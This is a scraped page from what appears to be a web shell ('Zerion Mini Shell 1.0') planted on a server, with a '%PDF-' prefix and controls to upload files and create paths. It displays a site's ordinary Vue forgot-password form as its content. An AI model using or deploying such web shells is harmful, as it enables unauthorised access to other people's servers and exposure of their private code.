%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/pages/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/pages/forgot-password.vue

<template>
  <div class="page-wrapper">
    <section class="bg-gray py-20 px-8">
      <div class="max-w-xl mx-auto w-full">
        <header class="text-center mb-10">
          <h1 class="text-4xl font-bold">Forgot your password?</h1>
        </header>
        <ValidationObserver ref="form">
          <form @submit.prevent="sendResetEmail" role="form" method="POST">
            <div class="relative mb-4">
              <label 
                class="form-label"
                for="email">Email</label>
              <ValidationProvider name="email" rules="required|email" v-slot="{ errors }">
                <input 
                  v-model="email"
                  type="email"
                  id="email"
                  class="form-control"
                  placeholder="Enter your email address..." />
                <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
              </ValidationProvider>
            </div>
            <button 
              :disabled="working == true"
              class="w-full btn btn-primary rounded-full"
              type="submit">
              <span v-if="working == false">Send Reset Email</span>
              <span 
                class="flex items-center justify-center"
                v-else>
                <svg class="animate-spin -ml-1 mr-3 h-5 w-5 text-current" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
                  <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                  <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
                </svg>
                <span>Processing</span>
              </span>
            </button>
          </form>
        </ValidationObserver>
      </div>
    </section>
  </div>
</template>

<script>
export default {
  auth: 'guest',
  
  head () {
    return {
      titleTemplate: 'Forgot your password? | %s',
    }
  },

  data() {
    return {
      working: false,
      email: null
    }
  },

  methods: {
    async sendResetEmail() {
      this.$refs.form.validate().then(success => {
        if (!success) {
          return;
        }

        this.working = true;
        this.$axios.post('/password/email', {
          email: this.email
        }).then((response) => {
          this.working = false;
          this.$toast.success(response.data).goAway(3000);
        }).catch(error => {
          this.working = false;
          this.$toast.error(error.response.data).goAway(3000);
          this.$refs.form.setErrors(error.response.data.errors);
        });
      });
    }
  }
}
</script>

Zerion Mini Shell 1.0